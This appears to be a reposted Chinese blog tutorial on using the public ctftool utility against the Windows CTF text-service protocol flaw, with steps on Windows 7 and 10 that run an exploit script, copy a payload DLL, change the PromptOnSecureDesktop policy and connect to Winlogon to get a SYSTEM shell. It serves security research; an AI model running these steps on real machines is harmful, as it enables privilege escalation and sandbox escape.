zoukankan      html  css  js  c++  java
  • 使用CTFTOOL测试CTF协议

    0x01 简介
    2019年8月13日谷歌披露了影响所有Windows版本的20年未修补漏洞。
     
    来自Google的Project Zero团队的Tavis Ormandy 发现,由于此交互没有访问控制或任何类型的身份验证,因此任何应用程序,任何用户甚至沙盒流程都可以实现以下操作:
     
    • 在所有会话中连接到ctfmon ALPC端口,
    • 从任何其他会话中读取和写入任何窗口的文本,
    • 伪造他们的线程ID,进程ID和HWND,
    • 伪装成CTF服务,欺骗其他应用程序,甚至是特权应用程序,连接到它,或者
    • 逃离沙箱并升级特权。
     
    如果被利用,CTF协议的弱点可能允许攻击者轻易绕过用户界面权限隔离(UIPI),甚至允许非特权进程进行以下操作:
     
    • 从其他应用程序的任何窗口读取敏感文本,包括对话框外的密码,
    • 获得SYSTEM权限,
    • 控制UAC同意对话,
    • 将命令发送到管理员的控制台会话,或
    • 通过向非沙箱的窗口发送输入来转义IL / AppContainer沙箱。
     
    ctftool一个交互式命令行工具,用于试验CTF,这是一种在Windows上用于实现文本服务的鲜为人知的协议。这对于研究Windows内部,调试文本输入处理器的复杂问题及分析Windows安全性很有用。
     
    可以编写简单的脚本,ctftool以便自动与CTF客户端或服务器进行交互,或执行简单的模糊测试。
     
    ctftool 已经在Windows 7,Windows 8和Windows 10上进行了测试。支持32位和x64版本。
     
    0x02 测试
    win 7 x64上测试:
    直接双击ctftool.exe即可打开CTF命令行
    输入help即可查看工具使用帮助,hlep <command>可以查看特定命令的帮助信息。
    connect 连接到会话
    scan 查看连接的客户端
    script .scriptsctf-consent-system.ctf 触发漏洞,等待弹出UAC弹窗,复制payload并启动shell。
    待命令执行完成,弹出cmd窗口
    我们通过查看ctf文件的内容,可以看到具体的实现过程
    run XCOPY PAYLOAD64.DLL C:TEMPEXPLOIT.DLL* 拷贝payload文件
    # 修改策略
    reg HKLM PromptOnSecureDesktop SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
    Key: SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
    Value: “PromptOnSecureDesktop”
    Type: REG_DWORD
    Data: 这必须是下表中的值。
    含义
    00000000
    禁用此策略会禁用安全桌面提示。所有凭据或同意提示都将在交互式用户的桌面上进行。
    00000001
    此策略将强制所有UAC提示在用户的安全桌面上发生。
    详情参考微软官方文档:
    repeat r0 connect Winlogon sid # 连接到Winlogon desktop的ctf服务。
    script scriptsctf-exploit-common-win10.ctf # 执行利用脚本
     
    win10 上测试:
    已更新系统和补丁。
    connect 连接到会话
    scan 查看连接的客户端
    ctf> script .scriptsctf-consent-system.ctf # 执行利用脚本
    win10 不会弹出UAC窗口,会直接打开一个新的cmd窗口。
     
    0x03 结论
     
    除此之外,CTF协议还包含许多内存损坏漏洞,这些漏洞可以在默认配置中使用。即使没有错误,CTF协议也允许应用程序交换输入并读取彼此的内容。但是,有许多协议错误允许完全控制几乎任何其他应用程序。Ormandy已经在今年5月中旬向微软报告了他的调查结果,目前该问题还尚未解决。
     
    参考链接:
  • 相关阅读:
    脑子好,蹦两下!程序员应该玩的小游戏
    推荐博客备份软件blog_bakcup
    经验(转)
    as super
    ActionScript工程如何使用Flash CS的fl包中的UI组件(转)
    astar(转)
    GROUPING,ROLLUP和CUBE(转)
    什么是分区表?为什么要用分区表?如何创建分区表?
    Flash player 详解(zhuan)
    jsfl(转)
  • 原文地址:https://www.cnblogs.com/micr067/p/12407507.html
Copyright © 2011-2022 走看看